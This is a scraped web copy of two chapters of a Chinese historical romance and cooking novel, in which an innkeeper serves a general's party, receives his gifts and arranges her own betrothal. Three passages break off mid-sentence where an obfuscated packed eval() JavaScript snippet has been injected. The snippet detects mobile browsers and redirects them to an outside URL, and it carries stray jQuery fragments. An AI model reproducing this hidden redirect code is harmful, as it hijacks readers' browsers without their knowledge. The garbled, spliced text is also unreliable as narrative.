李香君查这案子的时候，也没想过要牵扯到沈二这堆小弟。 “掌柜的，二楼碧螺春一壶，菊花菌菇锅子、四小凉菜、白灼小羊排一盘、羊蝎子一碟！”茶博士的声音隔着帘子响起。 “嘿，这么多菜，来了不少人啊。”王清儿闻言，忘记刚才不愉快的话题，乐滋滋地说。 她在堂前燕做学徒帮厨是有工钱的，一个月一百文钱呢，比种菜赚钱多了，比待在家里也舒服的多，她能赚钱，就觉得自己的脊背挺的更直。 “这么多菜，来了几个人？”谢玉珍疑惑，菊花锅子是包括要烫的蔬菜肉品，分量很足，三四个大汉吃不是问题，白灼羊排分量也是可观的。 她擦干净手，走出来问茶博士：“刚才要菜的是第几个厢房？” “靠街的第二个，掌柜的。”茶博士回答完，又忙着给客人倒茶去了。 谢玉珍拎着茶壶，轻敲厢房的门。 “进。”一道低沉的声音响起，挠得人耳朵有些发痒。 谢玉珍推门进去，厢房内坐着四五个男人，为首的一双瑞凤眼，鬓角微霜，眼角带着几道皱纹，才隐约看到岁月给他留下的痕迹。 “老丈。”谢玉珍把茶壶放到桌子上，行了一礼才说道：“我是这食肆的掌柜，方才听茶博士喊菜名，我看你们点的有点多了，是否需要撤几道？” “哈哈哈！”厢房里的人两两相望，俱都笑出声来，“石甫啊，你看你的饭量，把人家掌柜的都吓住了！” “不用撤。”为首的人微笑着说，“这位是李石甫，乃是壮士，这些我们完全吃的下。” 他指着坐在窗边往下看的肌肉隆起的看上去十分憨傻的男人，语气里难掩调笑。 “原是如此，是我狭隘了。”谢玉珍了然，轻掩上厢房的门退了出去。 在她走远后，坐在为首男人旁边的才说道：“这就是谢娘子收养的孙女儿？跟谢娘子不怎么相像啊。” 为首的男子点头：“是不怎么像，沉静一些。不过这世界上哪有能十足十像她的，有一两分已然是不错了。” “这小娘子可不太像做生意的料。”李文书沉默了这么久，才冒出这样一句话来，“我听说她有个外号，叫‘椒娘’，应当是个刚勇之人。” “将军，”李石甫耐不住性子，揉着自己浑圆的肚子说道，“怎么还不上菜，我都饿了！” “饿不死你！”狄清笑着说道，“等着，才叫菜多久？” 谢玉珍回到后厨，羊蝎子和凉菜都是一大早做好放大锅里的，盛进盘子里就可以上菜了。 主要是羊排和锅子的涮菜，羊排不能腥，涮菜里的肉菜也要切的够薄才行。 谢玉珍一片一片片着手上的猪前腿肉，堂前燕的肉都是她常光顾的杀猪匠那家固定提供的，每日来给她送货，都是现杀，保证食材的新鲜程度。 除了猪肉片羊肉片，还有洗干净的羊肚、兔肉，素食有芽菜、豆腐、白萝卜块。 “茶博士，把锅子先送过去！”谢玉珍准备好食材后，把茶博士叫过来道，“看着他们，别让他们提前把筷子伸锅子里去了。” 有的菌子，生吃没毒，熟吃没毒，半生不熟吃就有毒了。 她现在要准备的就是白灼小羊排了，嘿，这么一看，这一伙人点的都是简单菜，算是给她省事了。 白灼羊排主要就是火候，别炖老了，肉柴了不仅丢失风味，还容易塞牙，她看为首的客人年纪也大了，可别塞出口腔问题了才好。 把葱结和几片香叶姜片丢进焯着羊排的锅里，再盖上锅盖煮一会儿，趁这个时间，就可以调料汁碗了。 拿出放置着芥菜疙瘩的坛子，谢玉珍打开便闻到一股冲鼻子的辛辣味儿。 “这次腌的真够味儿的！”王清儿在另一个灶前煮索饼也闻到味儿了，出声夸赞道，“闻的我口水都要流出来了。” 谢玉珍回以一笑，把芥菜疙瘩磨成浆糊样，放到碗里，再放些切的细细的蒜末，最后倒些鲜美的酱油就是了。 考虑到不是所有人都能吃辣，她有的只放了蒜泥和酱油。 调完料汁，等到一定时候，就可以揭开锅盖了，她用的都是羊肋排，肥油不多，大部分是瘦肉，腥臊气本就不重，再又放了香叶，中间加了黄酒去腥，更是只剩下鲜味儿了。 仔细捞起小羊排，盛到长而深的盘子中，浇上些微的卤水，防止肉被风一吹变得干涩。 谢玉珍把羊排和料汁碗一起放到托盘里，交由茶博士：“有些重，小心些。” 东西摔了不碍事，只怕人摔了，她可过意不去。 狄清闻着锅子里传来的香味，望着冒出来的白烟，感到有些痛苦，能看不能吃，这是什么事。 “客人不可以！”见李石甫想动筷，茶博士连忙出声制止，“等完全煮熟了才能吃！” 李石甫本想装作没听见，便遭了狄清一瞪，悻悻然老实下来。 “真是很香。”狄清矜持地夸赞，“石甫，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780329|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次我也算是体会到你的心情了。” 他调侃道。 “你实在饿的不行就吃凉菜！”李文书斥道，“你要毒倒了，谁背的动你回去？” 他挟了一筷子凉拌猪耳放到李石甫碗里，一脸无奈，若不是他是他表弟，他都不想管这个二傻子。 真是上辈子造了孽，这辈子带莽汉。 厢房的门打开，另一个茶博士端着白灼小羊排进来，把菜摆到桌子上，收起托盘：“掌柜的说可以开始涮了。” 李石甫闻言眼睛一亮，他早就想喝这个菌菇锅子里的汤了，闻起来香的不行。 “这肉切的真薄，都能透光了，好刀法啊。”狄清挟起一片羊肉，举着看到透过来的光，他发自内心夸道。 羊肉放进锅子里，五六秒就熟透了，再接着烫就老了。狄清正要拿过料碗，就听见茶博士说话。 “这几个料碗，里面有深绿色酱的就是辣的，没有的就是蒜泥味儿，客人们看能不能吃辣，我给客人们分一遍。”他解释道。 哦是这样，狄清伸出去的手连忙换了一个目标，他不是不喜欢吃辣，只不过对于小羊排，他有自己的一道理论。 羊排本身是极鲜，佐以蒜泥便足以激发它最原始最美味的香味，如果加辣，难免觉得有些糟蹋食材了。 毕竟这羊肉一看就很新鲜。 羊排蘸过蒜泥酱油，入口先是稍微少的羊油融化的味道，然后羊肉才被牙齿剥到嘴里，接着就尝到酱油的咸味，最后才是羊肉味儿。 嘴里的肉咽下去，才后知后觉咂吧出香料的味道。 做的还挺好吃，不比晋中的羊肉差。 军伍中人，胃口都大，包括做文职工作的李文书，吃的也比常在地方的官员多很多，所幸堂前燕的菜分量不掺水，否则还真喂不饱他们。 吃饱喝足之后，李文书擦干净嘴，才高声喊：“茶博士，结账！” 茶博士在一楼听见声音，又向后厨喊道：“掌柜的，二楼结账！” 也不是茶博士无法结账，只是他们没有上过一天私塾，数量少的还行，数量一多，他们脑子就是一团浆糊了。 谢玉珍只好把手底下的事停下，先交给王清儿，拿着算盘跑到二楼去结账。 这样下去可不行，谢玉珍心想，得请个会算账的回来坐在前面结账，再这么搞下去她自己不得累死？ “一套菊花菌菇锅子，一两纹银。”她拨弄着算盘，“四碟凉菜总共六十文，白灼小羊排一盘二斤，收您一百二十文，羊蝎子一盘三十文，碧螺春赠送给您，总共一两二钱十文，收您一两二。” “掌柜的做生意还挺大气。”李文书和蔼地看向她，“不过我们狄家军可不占百姓的便宜！该多少是多少，这是二两纹银，你收好了。这次我们将军吃开心了，是你应得的。” “！”谢玉珍震惊地瞪大了双眼，“你、你！” 她激动的说不出话来，显得有些手足无措。 狄清微笑点头，确认了她的想法。 41. 你可愿意娶我？ 谢玉珍眼神里难掩崇敬之色，被几个年长之人都看了个分明。 她将二两银子收进腰带内侧，吩咐茶博士收拢一盒时令糕点出来，她预备着送给这桌客人。 “多谢谢小娘子了。”狄清浅笑着，身边人接过糕点，话语转折生硬，“你和你祖母年轻时，不太相像。” “您还识得我祖母？”谢玉珍惊讶地望向他，问了句废话。 狄清眼神放空，仿佛幻视到那女子年轻时的样貌，可惜早已记不太清了：“那时候我和你祖母、卢氏平阳夫人，还有当今圣人，一起号名汴梁四君，到如今，都是故纸堆里的旧人了。” “当年谢娘子驾鹤而去，逾半年，将军才得知，这些年，将军一直在往洛阳送银子，老夫还以为，你这小丫头片子会有些映象。” 李文书叹了一口气说道，当年的闹剧，他或多或少知道一些，只是到如今，故人早已不在，所有误会都已烟消云散，无从审起了。 “什么银子？”谢玉珍猛的抓住重点，她这些年可没收到一分钱。 养育幼弟，除了稍小一些的时候，街坊邻居你一口我一口省出来的百家饭，到八岁，她就凭借一手绣活儿养家糊口了。 这时有谁过来说曾经雪中送炭过，她只觉得是杀猪盘。 “……你没收到过？”狄清沉默片刻，颤着声音问，“那这些年，你是怎么活过来的？” “人只要有一口气，左右都能活下来。”谢玉珍说，“这个娘子施一碗粥，那个阿爷舍一块布，多亏了先皇帝，盛世善人多。” 狄清沉默，他心中自责，他未尝想不到那么多，只是他不敢面对，不敢去触景生情，更不敢见故人留下来的孩子。 他一时的懦弱，竟让两个孩子吃了这么些年的苦楚。 “以后有什么问题，就来找狄叔。”狄清站起身来，一身气势摄人。 留下一个青鱼佩施施然走了，谢玉珍珍重收好玉佩，她陪聊了这么久，后厨估计都要急死了。 堂前燕的客人太多，她回到后厨，王清儿正吃力地掌着两口锅，见她回来，见了救星一般。 “珍娘，你终于回来了！”她连忙让一口锅出来给谢玉珍，“怎的出去这么久？” “二楼厢房来了贵客。”谢玉珍解释道，“明日嫂嫂帮我问问夫子，他有没有出学堂的学生在算学上有些天赋的，再不找个账房，我都要累死了。” “若说算学，姑姐学的倒是过得去，只是你也知道，她肚子很大了。”王清儿想了想，想到和谢玉珍手帕交的张家大女儿，“我回头再问问爹爹，今年春闱，也有不少读书人没有路费考试，筛一筛，总有合适的。” “那行，真是麻烦夫子了。”谢玉珍边颠勺边说道。 累了一天，谢玉珍忙的没时间想有的没的，趁宵禁前把定的菜搬进院子里，就打算锁门早些休息。 一辆由四匹马拉着行驶的马车停在她店门口，车顶四角有金子做的曲角，看上去低调而奢华。 虞朝有规定，两匹马驾驶的马车，官员规制；四匹马行驶的马车，有爵位者规制；六匹马，储君规制；八匹马，天子规制。 而平民百姓，是没有资格拥有马车的，一般豪富都用驴或者骡子之类代替马拉车，以维护他们的体面。 公卿之辈，停在她食肆前作甚，难不成是来吃饭的不成？ 她躲到门后，正欲把门栓上，又见车上走下来几人，为首的正是李文书。 估计是狄清的车，他去年才拜侯，但朝野上下还是习惯称他一声狄将军。 李文书吩咐身后人从车里搬下数十个箱子，向她走过来，说道：“谢小娘子，我奉将军命，来给你送些东西，顺便有几句话，不知可否借一步说话？” “进来吧。”谢玉珍点头，打开大门，给抱着箱子的人倒好茶，请李文书进了后院。 “不知大人有何指教？”谢玉珍问。 李文书叹气，说：“去岁秋，朝廷上下通过一个政令，女子满一十八，便要议亲，年满二十，便要成婚，否则坐。” “不可花钱赎买吗？”谢玉珍骇然，连忙追问。 李文书望着她脸上带着的期盼神色，一句话浇灭了她的希望：“只有贵族娘子才有赎买的资格，平民百姓是没有的。” “怎会如此？！”谢玉珍大惊，心下惶恐，“怎么突然要这样？” “这些年西戎频繁犯边，朝廷打灭了不少人口，朝廷里如今一片主和思想。”李文书冷酷地说道，“有人提出，圣人取纳，如此而已。” “所以将军才让我来告知娘子。”李文书补充道，“尽快找到一个合心意的男子，若有需要，将军也可为你举媒，切莫把自己的姻缘，交到官府手里。” “我知道了。”谢玉珍脸色有些苍白，扶着墙壁稳定身形，说实话，她不曾做好嫁人的准备，她害怕婚姻，“劳大人替我多谢狄将军，不需将军帮忙，我心里有数了。” “那好，我这就走了。”李文书点头，他个老不休的可不能久待，不能坏了人家的清誉。 望着院里庭中堆叠的箱子，她发呆了好一晌，才上前打开一个，里面竟整整齐齐码着一根根的金子，再打开一个，也是一样。 将这些箱子一一打开，分别有五箱黄金和八箱环翠珠宝，俱皆价值不菲。 谢玉珍心中已明白，这是狄将军对这些年疏忽故人留下事物的补偿，她没有任何心理负担地收下了。 狄清和她，身份悬殊过大，已经到了连谈利益交换都可笑的程度，她收下这些东西，没有任何后顾之忧，既然如此，为何要傻傻把这些东西推出去呢？ 这不叫正义，这叫迂腐。刚刚好，她绝非是一个迂腐的人。 她在后院她房间前挖了一个深坑，将大部分箱子都埋了进去，再将土夯实，她怕再出现之前那样的情况，不敢再将财物都放到祖宅去。 做完这些，天色终于是暗了下来，谢玉珍心里也有了打算。 次日一早，谢玉珍向衙役们打听清楚李香君的行踪，便把食肆的事暂时托付给王清儿一个时辰。 她歉意地跟王清儿小话，王清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780330|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿却满不在乎地摆手：“反正早上客人本也不太多，我一个人也忙得过来，你去吧。” 嵩县拐卖一案，首恶是谁，无从得知，嵩县县令也吃不下那么大一块饼，可身为执行者，他必然等不到调任的那一天了。 当然，这和她今天要做的事没关系。 李香君扛着大包，汗涔涔的脸在阳光下反着河水粼粼的光影，看不到五官，只看到略微粗壮的手臂，和束起的黑发。 如此场景，也算香艳。 谢玉珍心无波澜，走上前去招手：“李郎君！” 李香君闻言便知来者是谁，将货物放到地上，兴冲冲地跑过来。 他这些天左右无事可做，便到处接了些杂活，总不能不做事，他心里不踏实。 他心知自己干活，身上或多或少有汗臭气，便离谢娘子离的远一些，免得熏到了佳人。 “谢小娘子怎么来找我？”他问。 “李郎君，我只问你一句。”谢玉珍开门见山，“你可愿意娶我？” 李香君被莫大的惊喜砸中脑袋，一时间竟懵了。 谢玉珍见他半晌不说话，还以为自己会错了意，有些羞赧：“你若不愿意，便当我没说过这句话罢了。” 说完，她转身就要走。 李香君回过神来，立马将她拉住：“我自然是愿意的！” 他话语不经大脑便流出口外，说完之后，自己耳朵也红透了。 “我只是觉得，我觉得太意料之外，太惊喜了。”他连忙补充道，“我不知道我哪里配得上你，我不知道你为什么会想嫁给我，我刚才感觉被一道雷砸中了一样，我不是故意不理你！” “你若愿意。”谢玉珍被逗笑，突然觉得自己这个决定似乎没有什么不妥，商户配贱籍，哪里不相配？ “你若愿意，我们找个最近的好日子订亲。”谢玉珍一锤定音，她心里知道，李香君一定不会拒绝她。 “好！”被这天大的馅饼砸中，李香君一时间什么也忘了，忙不迭答应下来，“我回头就让我娘帮忙！” “既然已说定了，我便先走了，食肆还有事呢。”谢玉珍笑，拿出手帕给李香君拭汗，轻柔放到到李香君手上。 她深知李香君的品性，君子可以欺之以方，她怕李香君回过神来，会后悔。 李香君揣着手里的香帕，傻笑不已，珍重地把帕子藏进怀里胸口的位置，他抚摸着心口，感觉都能听到自己的心跳声。 “李兄弟，快来干活！”码头的管事见他立在那里，笑的一副不值钱样子，怀疑他是不是中暑气了，但码头的活计可跟报酬挂钩，他还是提醒道。 “来了！”李香君充满干劲儿，快步走了过去，他以后还得养小家呢，已经不是二人吃饱，全家不饿的状态了，还得保护她和她弟弟！ 于是乎看着他干活快了一倍还欢乐样子的管事一整天都有些丈二和尚摸不着头脑。 他今天是不是喝到假酒了，开始做白日梦了？ 李香君回到家中，心里也想道，他今天不是做梦吧？ 42. 他家拜佛是往哪个方向拜？^^…… 李香君回家之后，兴冲冲地找到母亲，请求母亲替他择选良辰吉日上门议亲。 “这是好事啊。”武兰筠温柔笑道，“我儿总算是要得偿所愿了，我明日一早就找王媒婆过来，她可是十里八乡最富盛名的媒氏！” 李香君憨笑，总觉得有一丝异样，但又觉得是错觉，想到自己的身份，又说道：“我总觉得，如此答应谢娘子，是不是对她不好？” “你若上赶着，自然是不好。”武兰筠恨儿子不开窍，“只是人家姑娘开口了，你又不是没有那个意思，拒绝了也教人家面子上不好看。谢娘子聪慧，你个憨货能考虑到的，她能想的想必更多。” “娘说的是。”李香君心里安定了几分，“儿子先退下了，娘好好休息，晚上别再缝衣裳了。”他叮嘱道。 “去吧，不用你说。”武兰筠赶人。 李香君在庭中给自己冲了一下身子，把汗水都冲刷掉后，才带着一身冷气进了被窝。 他明天要去山里，给谢小娘子猎些野物补补身子，还是早些休息为妙，免得到时相见，他形容潦草，可如何是好。 不过他虽卑贱，还是要六礼俱全才好。纳采时相见，是否对她名声有碍？ 想到这里，他又有些失眠了。 挨了大半个时辰，李香君才终于迷瞪瞪地睡着了。 次日大早，武兰筠挎着装满自己做的糕点的篮子，向官媒出发，走之前还叮嘱李香君不要忘记准备聘礼的事情。 不管这个事能不能成，诚意要到。 官媒内，几帘红布是开春新换的，颜色十分鲜亮，窗棂的雕花纹样也是繁复的双喜，边框游着鸳鸯。 武兰筠恭敬地把事先准备好的喜钱推过去，才开口说道：“劳烦姐姐，替我家犬子说媒。” 穿着桃红色春衫的媒氏抓起装着喜钱的蓝白袋子，掂量了一下，才满意点头，说道：“你们是要说谁家的姑娘？” “车村镇张夫子右舍谢小娘子。”武兰筠脱口而出，李香君在家里说过一两次，她就记住了，“只不过如今谢小娘子不在祖宅，她是县里堂前燕的掌柜，应当是在县里食肆中的。” “行，左右脚程近，我又无事，下午我便替你们去纳采！”媒氏得了银子，心里自然舒坦，还未说几句便应承下来活计。 “那感情好，多谢姐姐了。”武兰筠柔柔一笑，“若喜事能成，到时还请姐姐赏脸吃酒。” “我那时候若得闲，一定去吃令郎的喜酒！”媒氏闻听此话，心中熨帖，见武兰筠告退，还走着送了几步。 到未时一刻，谢玉珍和王清儿才腾出时间给自己做饭。 “嫂嫂想吃什么？”谢玉珍揉着手腕，坐在胡凳上懒懒抬眼问她。 王清儿也累，但她是练武之人，气力大，已经适应过来，只是倚在灶边，说道：“锅里还有些粟饭，我们俩再蒸个鸡蛋，捞两个凉菜吃就是了。” “也好，真是有些累。”谢玉珍说道，“简单吃些就行。” 食肆的茶博士堂前燕是不包饭的，所以他们现在要么回去吃，要么在街上买着吃。 他们也不愿意包饭，都是愿意赚的多些，谢玉珍也能理解。 把鸡蛋搅散前放适量的盐巴，兑些温热的水进去，再搅拌开。 认真把浮沫撇去，再放在竹箅上，隔水蒸一盏茶时间再拿出。 这时蒸蛋的表面十分光滑，几乎可以照人。 拿出来放两勺酱油和一勺香油进去，就是一道美味佳肴了。 王清儿盛出一盘腌菘菜，又盛了一盘用芥菜疙瘩腌过的熟猪颈肉出来，和蒸蛋放一起。 挖一勺蒸蛋放到粟饭上，蒸蛋在勺子颤巍巍的样子分外喜人。 软的像云一样。 王清儿空口吃了一口蛋，心里不由自主想道，香油也很配蒸蛋，总之很香。 她将鸡蛋捣碎，和粟饭搅拌在一起，看上去黏糊糊一大团，看着不太好看。 但是这样吃很美味，她想。 谢玉珍学着王清儿的样子把蒸蛋和粟饭结合，又给自己夹了一筷子腌菜，腌制过的菘菜去除了过多的水分，菜叶就变得韧劲儿十足，多了分辛辣开胃。 芥菜疙瘩的辣是直冲鼻腔的那种辣，虽冲但爽。 想对比，谢玉珍还是更讨厌姜辣味，她做菜是基本不把生姜当主要调味料的。 猪颈肉本身柔嫩弹牙，卤过之后肉的色泽变得更加诱人，由弹牙变得松软，但附赠的优点是，汁水变的更多了，更加下饭。 这些凉菜的主要受众是做工的手上有点闲钱的人，而非文人雅士，所以够味儿。所有的目的就是可以下饭或者佐酒，若还能兼顾美味，已经很厉害了。 王清儿都不敢相信这是她能上手做出来的，她打心眼里又开始敬佩起这个比她年纪小的娘子。 她吃的头也不抬，多说一句话，都是对这顿好饭的不尊重。 大郎可吃不到这么好的饭菜，她不由自得的想，她现在比大郎强。 吃完饭，王清儿自觉地收拾起碗筷来，把她们的碗洗干净另外放着了。 这时候堂前燕虚掩着的门被推开，王清儿耳朵灵，说道：“珍娘，前面有人进来了。” 谢玉珍蹙眉，怎的这时还有人过来？堂前燕的熟客都知道，她这会儿不揽生意的。 “我们开门还要一会儿呢，客人是要等一会儿还是先出去逛着？”谢玉珍走出去问道。 只见来人穿着桃粉色的春衫，衣袖间还刺绣着水蓝色的波纹和两只鸳鸯，未见其人先闻其声。 “敢问可是谢掌柜？”谢玉珍先是听到对方的笑声，才听到对方问话，最后看到对方的面容。 “我是谢掌柜，你是？”谢玉珍见对方满脸堆笑，还有些面善，便邀对方坐下，给她上了一盘瓜子，泡了一壶茶过来。 “我是官媒的王媒氏，这是我的令牌，娘子可以看看。”王媒氏解下腰间的木牌，递给谢玉珍，说道。 “原来是媒氏。”谢玉珍道，心下分明了，李郎君还算讲究礼数，竟是要六礼俱全。 “我是替李家郎君过来纳采的。”王媒氏系好自己的身份牌子，抬头又笑，“果然我打眼一看，准不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780331|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出错，娘子真是仙子一般的人物，和李家大郎也算门当户对，郎才女貌。” 谢玉珍说道：“本来婚姻之事，父母之命，媒妁之言，只是我家中已无长辈亲人，媒氏便只同我自己商量便好。” 王媒氏保了这么多的媒，心知有戏，连忙追问：“娘子若同意，我这便去回了李家长辈，也好早些把八字合上一合，若是不合适，也不能耽误了娘子，你说是不是？” “媒氏说的极是。”谢玉珍还有心情观察对方眼角的泪痣，心里觉得很有风情。 她颔首，看着似乎有些羞涩神态，不过也无所谓了，王媒氏心想，她只要能保媒就行，双方都心甘情愿，谁管是不是两情相悦？ “那我就不喝茶了，先走了，回去让李郎好好高兴高兴。”王媒氏抓起一把瓜子，走出起好远才想起来。 她说怎么这谢掌柜如此眼熟，两年前在县令夫人的宴上，她见过的呀！ 这不是刺绣大师谢大家吗？ 真是见了鬼了，谢大家怎么跑去做厨娘掌柜了？难道刺绣大家还没有厨娘挣钱不成？ 王媒氏摇摇头，把心中的想法甩出去，这又和她有什么关系？ 又走了一大段路，才找到李家，武兰筠还在午休呢，迷迷瞪瞪听见有人来，赶忙起身相迎。 “武妹妹，好消息啊！”王媒氏甩着帕子进来，见武兰筠从内室出来，笑着迎上去，眼角的笑纹格外明显。 “谢小娘子那边怎么说？”武兰筠有些紧张，总怕会出岔子，一点睡意也被她自己给惊没了。 “武妹妹何必紧张？”王媒氏安抚地拍了拍武兰筠的手背，“谢小娘子答应的很干脆呢，你们家真是走了运了。” 她不由得感叹。 “是啊，真是走了运。”武兰筠深有同感，开口附和。 王媒氏见此有了谈性：“谢小娘子长得美貌，在洛阳更是有刺绣大家的盛名，可惜不刺绣了。要不是我没有儿子，真想把你这个媳妇给撬了。” 王媒氏半开玩笑说道。 “那犬子可真要害相思病，”武兰筠也有心情开玩笑道，“从此药石无医了。” “我已经把谢小娘子的八字从官媒带过来了。”王媒氏从怀里掏出一张纸，上面的墨迹一看就是新干的，“你回头把这个和你儿子的一起，到观里求大师算一算，命格相合是最好，相克是万万不行！” “我知道了，多谢姐姐上心了。”武兰筠高兴地收下这张纸，珍重叠起，收进怀里，“我明日便去观里捐些米油。” “你心里有数就好。”王媒氏站起身，“天色也不早了，我还得点卯，可不能留了。” “我送送姐姐。”武兰筠正欲起身相送，就被对方按住。 “你看着身子不太好，可别在自己家吹冷风吹病了，到那时可是我的不是了。”王媒氏笑着说。 走在回官媒的路上，她还是忍不住想—— 这李家到底是走了什么运，居然能请到这样一个金疙瘩回家？ 拜佛朝哪边拜的？她下次得问问，她以后也要往那个方向拜。